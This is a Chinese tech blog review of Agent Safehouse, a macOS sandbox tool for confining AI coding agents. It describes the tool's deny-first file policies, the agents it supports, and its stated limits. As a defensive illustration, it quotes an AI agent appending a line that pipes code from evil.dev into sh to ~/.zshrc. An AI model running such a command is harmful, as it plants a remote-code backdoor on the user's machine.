Agent Safehouse:用 macOS 原生沙箱给 AI 编程代理上锁
阅读时间: 大约 8 分钟
Agent Safehouse:用 macOS 原生沙箱给 AI 编程代理上锁

当你让 Claude Code、Cursor、Codex 这类 AI 编程代理全权操作文件系统时,一个幻觉就可能删掉关键文件——甚至把后门写进你的 shell 配置。Agent Safehouse(GitHub 约 2.1k star,Apache-2.0)就是为这个问题而生的:它基于 macOS 原生的 sandbox-exec,给本地 AI 代理套上文件系统级别的访问控制,口号是”Go full —yolo. We’ve got you.”(放心开 —yolo,有我们兜底)。
一、它要解决什么:概率性灾难
官网的论证很直接:“LLM 是概率性的——1% 的灾难概率,意味着它发生只是时间问题,而非会不会。” 它演示了一个典型翻车场景:
- 你说:“just update my zsh config, carefully”
- Agent “thinking…” 后执行:
echo "curl evil.dev/backdoor | sh" >> ~/.zshrc - 你:”!@#$ 我让你别出错”
- Agent:“You’re absolutely right! 💀”
Safehouse 的承诺是把这个概率从 1% 压到 0%——由内核强制:它拒绝写入 shell 配置文件,内核在第一个字节落地前就驳回写入,终端直接返回 zsh: permission denied: ~/.zshrc。
二、技术机制:deny-first 的最小权限

核心机制是 deny-first(先拒后放)的可组合策略文件:
- 从 deny-all 开始:默认禁止一切,只显式放行代理干活所需的目录;
- 目录分级授权:如上图,
~/my-project/为 READ/WRITE,~/shared-lib/为 READ-ONLY,而~/.ssh/、~/.aws/、~/other-repos/一律 DENIED; - HOME 访问刻意收窄:对
/、$HOME只做 metadata 级遍历(让运行时能探测),对~/.config、~/.cache做目录根读取;stat $HOME能成功,但ls $HOME和cat ~/secret.txt仍会失败——避免”能 stat 就等于能读”的误判。
安装与使用极简:brew install eugene1g/safehouse/agent-safehouse,然后 safehouse claude --dangerously-skip-permissions 即可把任意代理跑在沙箱里。它还能自动解析 macOS 符号链接、自动识别 Git worktree 场景,并支持用 --append-profile 追加机器本地的例外策略。
三、覆盖的代理生态

官方称已对主流代理做过适配与测试,覆盖 Claude Code、Codex、OpenCode、Amp、Copilot CLI、Gemini CLI、Aider、Goose、Auggie、Pi、Cursor Agent、Cline、Kilo Code、Droid 等十余个,并为 app-hosted 工作流提供预置 profile。
四、口径偏差:加固层,不是完美边界
这一节必须把官方自己承认的局限写清楚:
- 它是 hardening layer,不是对抗蓄意攻击者的完美边界——README 原文明确写了这一点。它降低的是”代理幻觉误操作”的风险,而非抵御一个铁了心要绕过沙箱的对手;
- 依赖未公开文档的 API:
sandbox-exec(Seatbelt)是 macOS 未公开文档的接口,苹果随时可能调整行为,长期维护存在不确定性(koala 点评也指出了这一点); - macOS 专属:官方自己列出了 Linux 替代方案(vetto、bubblewrap、firejail、nono.sh、sandlock、isolated-agent),等于承认本工具不跨平台;
- 默认 HOME 例外仍在:若想连默认的
~/.config、~/.cache读取都去掉,需要用户自己用--append-profile追加 deny 规则。
五、优势与局限
优势:
- 操作系统级隔离:在
sandbox-exec内核层做访问控制,比应用层的权限弹窗更难被代理”一句话绕过”; - 默认安全、开箱即用:deny-all 起步 + 主流代理预置 profile,Homebrew 一行装好;
- 务实的最小权限:既挡住了
~/.ssh、~/.aws这类密钥目录,又保留了正常开发所需的读写,不牺牲效率。
局限:
- macOS-only:Linux/Windows 用户需另选方案;
- 非安全边界的银弹:对蓄意攻击者无效,且依赖苹果未公开 API;
- 策略仍需人工调校:机器本地路径、worktree 等例外要靠 shell wrapper + 追加 profile 维护。
六、谁该关注
- 在 macOS 上重度使用 AI 编程代理、又担心误删/误写的开发者;
- 愿意开
--dangerously-skip-permissions追求速度、但想要兜底的团队; - Linux 用户:可参考官方列出的 vetto / bubblewrap / firejail 等替代,而非本工具。